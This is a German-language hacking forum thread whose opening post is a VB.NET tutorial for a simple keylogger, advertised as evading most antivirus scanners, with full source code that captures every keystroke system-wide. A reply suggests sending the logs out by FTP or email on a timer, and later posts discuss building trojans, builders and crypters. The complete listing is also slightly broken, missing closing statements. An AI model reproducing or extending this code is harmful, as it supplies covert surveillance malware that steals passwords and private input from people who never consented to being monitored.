Ergebnis 1 bis 8 von 8
  1. #1
    Trojaner
    Registriert seit
    07.04.2010
    Beiträge
    77

    Standard [VB.NET][Einfacher Keylogger]

    Dieses Tutorial zeigt, wie man in vb.net einen einfachen, kleinen Keylogger coden kann, der von den wenigstens Virenscanner erkannt wird.

    Das Tutorial richtet sich an Leute, die schon ein wenig Erfahrung mit vb.net haben. Ich werde daher nicht auf Einzelheiten, sondern nur die reine Funktionsweise eingehen.

    Code:
    Public Class Form1
    
        Dim result As Integer
    
        Private Declare Function GetAsyncKeyState Lib "User32" (ByVal vKey As Integer) As Short
    
        Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
            Timer1.Enabled = True
        End Sub
    ...
    In dem oberen Codeabschnnit wird als erstes die Variable result als Integer deklariert, die später für den Schleifendurchlauf der Tastabfrage benötigt wird.

    Die Funktion "GetAsyncKeyState()" stellt die Systemweite Tastenabfrage zur Verfügung. Wichtig hierbei ist der Übergabewert "vkey as Integer" und das ganze als "Short". Nur so funktioniert das ganze auch unter Vista und Windows 7!

    Im Form1_Load Ereignis wird der Timer gestartet. Nach Ablauf der Intervalzeit, wird der Code in dem Timer_Tick Eriegnis ausgeführt.

    Code:
    ...
        Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
            For i = 6 To 255
                result = 0
                result = GetAsyncKeyState(i)
                If My.Computer.Keyboard.CapsLock Or My.Computer.Keyboard.ShiftKeyDown Then
                    If result = -32767 Then
                        TextBox1.Text = TextBox1.Text + UCase((Chr(i)))
                    End If
                Else
                    If result = -32767 Then
                        TextBox1.Text = TextBox1.Text + LCase((Chr(i)))
                    End If
                End If
            Next i
        End Sub
    Das Timer_Tick Ereignis löst also den jeweiligen Code nach dem angegeben Interval aus, sprich nach 1ms. Somit wird also durchgehend auf eine Tasteneingabe geprüft.

    Die Schleife durchläuft nun alle dem System bekannten Standardtasten. Es wird von 6 bis 255 gezählt und nicht von 1 bis 255, um die Maustasten nicht in die Abfrage mit einzubeziehen.

    Result wird nun auf "0" gesetzt und anschließend auf GetAsyncKeyState(i).
    Nun wird mit Hilfe von If-Abfragen geprüft, ob es sich bei der Eingabe um einen dem System bekannten Key handelt. Dies erfolgt mit der Zuweisung
    Code:
     If result = -32767 then...
    Ist das der Fall wird der Key der Textbox1 angefügt.
    Code:
    TextBox1.Text = TextBox1.Text + UCase((Chr(i)))
    "Chr()" ist hierbei eine Funktion, an die sich ein CharCode als Integer übergeben lässt. In diesem Falle natürlich "i".

    Mit
    Code:
    If My.Computer.Keyboard.CapsLock Or My.Computer.Keyboard.ShiftKeyDown Then
                    If result = -32767 Then
                        TextBox1.Text = TextBox1.Text + UCase((Chr(i)))
                    End If
                Else
                    If result = -32767 Then
                        TextBox1.Text = TextBox1.Text + LCase((Chr(i)))
                    End If
                End If
    wird geprüft ob zum Zeitpunkt der Eingabe Capslock oder Shift aktiviert ist um so zwischen Groß- und Kleinschreibung zu differenzieren.

    HIER NOCHMAL DER CODE ALS GANZES:
    Code:
    Public Class Form1
    
        Dim result As Integer
    
        Private Declare Function GetAsyncKeyState Lib "User32" (ByVal vKey As Integer) As Short
    
        Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
            Timer1.Enabled = True
        End Sub
    
        Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
            For i = 6 To 255
                result = 0
                result = GetAsyncKeyState(i)
                If My.Computer.Keyboard.CapsLock Or My.Computer.Keyboard.ShiftKeyDown Then
                    If result = -32767 Then
                        TextBox1.Text = TextBox1.Text + UCase((Chr(i)))
                    End If
                Else
                    If result = -32767 Then
                        TextBox1.Text = TextBox1.Text + LCase((Chr(i)))
                    End If
                End If
    End Class
    So, ich hoffe das konnte dem ein oder anderem weiter helfen. Der Keylogger ist so wie er ist simpel gehalten, ohne jegliche Verschlüsselung, Mail oder FTP Support, weitere Abfragen von Sonderzeichen etc... Allerdings lässt sich darauf aufbauen, wenn man ein wenig Spaß an der Sache hat...

    Würde mich über Feedback freuen!

  2. Folgende Benutzer haben sich für diesen Beitrag bedankt:

    Slawa (09.04.2010)

  3. #2
    Gesperrt
    Registriert seit
    28.08.2009
    Beiträge
    354

    Standard

    Jo, jetzt kanst du noch eine FTP Upload oder eine E-Mail Send Funktion einbauen. Aber wichtig ist, dass du vorher eine *.txt Datei oder sonst was erstellst, damit das geloggte gespeichert wird und nachher gesendet wird.
    Dabei kann man einen Timer benutzen und den Interval per textBox z.B. im Builder angeben, damit in einem Zeitabstand z.B. jede 10 Minuten die Log Datei gesendet wird.

    Anschließend bau lieber noch eine Random Funktion ein, damit die Upgeloadete Datei nicht mit der früheren Datei überschrieben wird, natürlich kanst du auch einen PC Namen verwendet und dahinter eine zufällige generierte Zahl z.B. PC Name_Zahl. Es gibt hier also praktisch viele Möglichkeiten, deswegn ist das ja ein Codebeispiel, natürlich kann man das auch anders machen.

    Gruß

    Slawa

  4. #3
    Trojaner
    Registriert seit
    07.04.2010
    Beiträge
    77

    Standard

    Hi, danke für deine Tipps, aber wie ich schon geschrieben habe, ist er absichtlich so schlicht gehalten. Alles was du geschrieben hast, habe ich bereits umgesetzt. Jedoch wollte ich hier auf die Basics eingehen... dennoch danke

  5. #4
    Gesperrt
    Registriert seit
    28.08.2009
    Beiträge
    354

    Standard

    Ja, das ist auch das wichtigste, damit man das versteht, wenn man solche Basic codes schon gut versteht, dann kann auch etwas größeres daraus werden.


    Gruß

    Slawa

  6. #5
    Stiller Leser
    Registriert seit
    06.06.2010
    Beiträge
    3

    Standard

    Hallo
    Ich bin neu hier ich versuche jetz auch programmieren zu lernen. Ein bissel verstehe ich schon in vb was zu machen aber nicht sowas. Ich will umbedingt mal ein Keylogger oder ein Crypter programmieren, weil ich sowas einfach interresant finde^^.
    Aber ich verstehe das nicht man brauch doch ein Button um den Trojaner zu machen oder wie ?
    MFG hardstyle

  7. #6
    Richard Stallman
    Registriert seit
    09.07.2008
    Beiträge
    2.199

    Standard

    Wenn du einen Trojaner Programmieren willst, fängst du zuerst mal mit einem Chat an. Wenn du einen Chat mit mehreren Usern programmiert hast, ist das Grundgerüst des Trojaners fertig.

    Nach deinem Satz zu urteilen hast du allerdings überhaupt gar keine Ahnug.. es bedarf wesentlich mehr als einen Button um einen Trojaner zu erstellen. Was für einen Button überhaupt? Meinst du einen Builder? Das kommt GANZ GANZ am Ende und mal abgesehen davon, dass du nie so weit kommen wirst, solltest du dich auf den eigentlichen Trojaner (der da besteht aus Client und Server) beschränken.

    Generell ist es ratsam nich mit "Ich will programmieren lernen, ich "programmiere" (ganz große Anführungszeichen) einen Trojaner" sondern mit "Ich will programmieren lernen, also lerne ich die Grundlagen meiner Sprache" an die Sache herantreten. Es bringt nämlich gar nichts sich immer komplette Zeilen ausm Internet zu ziehen und nicht zu verstehen was man da gerade tut.
    Signatur hat Pause..


  8. #7
    W32.FunLove Avatar von S1024
    Registriert seit
    19.01.2010
    Beiträge
    126

    Standard

    Hallo,

    Vielleicht solltest du dir mal die Semper Videos (richtig geschreiben?) angucken. Und zwar nicht das 130 - 132 als erstes sondern du solltest mit den 1. Anfangen und dich dann "hoch arbeiten".

    In diesen Videos wird dir alles ausführlich in Bild und Sprache erklärt. Wenn ich nochmal ganz neu programmieren lernen müsste, würde ich die Videos nehmen und sie mir angucken, mit dem Code rum experimentieren, meine eigenden Ideen einfließen lassen. Und über Google bestimmten Code raussuchen sodass du bestimmtes abkürzen oder verbessern kannst.

    Die Videos gibts auf Youtube. Ich verlinke einfach mal das erste Video.

    [ame]http://www.youtube.com/watch?v=k32weGSkkpA[/ame]

    MfG
    24
    Deine Mutter ist wie Open Source - Jeder kann sie haben.



    http://free-hack.com/video-tutorials...tml#post524336

  9. #8
    Richard Stallman Avatar von Sawyer
    Registriert seit
    26.07.2008
    Beiträge
    2.037

    Standard

    Noch besser wäre wohl ein Buch. Video-Training sind generell nicht besonders gut geeignet zum Lernen. Vor allem als Anfänger sollte man sich Dinge wie Rats, Crypter, Keylogger aus den Kopf schlagen. Ohne die dafür nötigen Grundkenntnisse wird das einfach nichts. Alles andere ist kopieren von Code.

    MfG, Sawyer

Stichworte

Berechtigungen

  • Neue Themen erstellen: Nein
  • Themen beantworten: Nein
  • Anhänge hochladen: Nein
  • Beiträge bearbeiten: Nein
  •